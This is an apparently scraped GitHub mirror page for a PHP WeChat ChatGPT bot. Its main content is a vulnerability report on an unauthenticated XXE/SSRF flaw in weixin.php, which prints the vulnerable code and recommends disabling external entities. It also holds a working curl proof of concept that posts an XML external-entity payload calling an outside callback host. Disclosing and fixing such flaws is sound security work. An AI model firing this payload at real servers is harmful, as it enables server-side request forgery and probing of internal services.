dirk1983 / chatgpt-wechat-personal Goto Github PK
View Code? Open in Web Editor NEW在微信个人订阅号中通过调用OpenAI最新接口和gpt-3.5-turbo模型实现ChatGPT聊天机器人的功能
在微信个人订阅号中通过调用OpenAI最新接口和gpt-3.5-turbo模型实现ChatGPT聊天机器人的功能
哈喽,打扰了,请问一下chatgpt账号注册您是怎么去注册的,我这边试了2个gmail邮箱去注册,分别都提示我,账号存在风险,然后短信验证码无法发送继续下一步了。
请问您有没有遇到过这个问题。
weixin.php
File (chatgpt-wechat-personal)vendor: https://github.com/dirk1983/chatgpt-wechat-personal
php version: 7.0.30
libxml 2.8.0
A Server-Side Request Forgery (SSRF) in weixin.php
file of [chatgpt-wechat-personal](a0857f6) allows remote attackers to force the application to make arbitrary requests via injection of arbitrary URLs by post a XML data. It should be noted that this vulnerability can be triggered without the need for authentication and is therefore more harmful.
The vulnerable code is located in the weixin.php
file. Because the function does not perform sufficient checksumming on user-input, the taint is introduced from the file_get_contents("php://input")
variable into the tainted function simplexml_load_string
, and after the simplexml_load_string
function is executed it sends a request to the URL specified by the user-provided URL, eventually leading to an SSRF vulnerability.
<?php
$xml_tree = simplexml_load_string(file_get_contents("php://input"));
echo $xml_tree->Content;
$prompt .= $xml_tree->Content;
$touser = $xml_tree->FromUserName;
Because the user-provided post data is unrestricted, it is also possible to use the server side to send requests, such as probing web services. The corresponding PoC is as follows:
You can also request the following curl command
curl -i -s -k -X $'POST' \
-H $'Host: 127.0.0.1:9080' -H $'Content-Length: 134' -H $'Cache-Control: max-age=0' -H $'sec-ch-ua: ' -H $'sec-ch-ua-mobile: ?0' -H $'sec-ch-ua-platform: \"\"' -H $'Upgrade-Insecure-Requests: 1' -H $'Origin: http://127.0.0.1:9080' -H $'Content-Type: application/x-www-form-urlencoded' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-User: ?1' -H $'Sec-Fetch-Dest: document' -H $'Referer: http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: zh-CN,zh;q=0.9' -H $'x-custom-ip-authorization: 127.0.0.1' -H $'Connection: close' \
--data-binary $'<!DOCTYPE foo [\x0d\x0a\x09<!ENTITY % xxe SYSTEM \"http://41fde16e72.ipv6.1433.eu.org/xxe\" >\x0d\x0a\x09%xxe;\x0d\x0a]>\x0d\x0a<root>\x0d\x0a\x09<name>&evil;</name>\x0d\x0a</root>' \
$'http://127.0.0.1:9080/chatgpt-wechat-personal/weixin.php'
It is recommended to disable external entities by adding the following line at the beginning of the code
libxml_disable_entity_loader(true);
z3
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.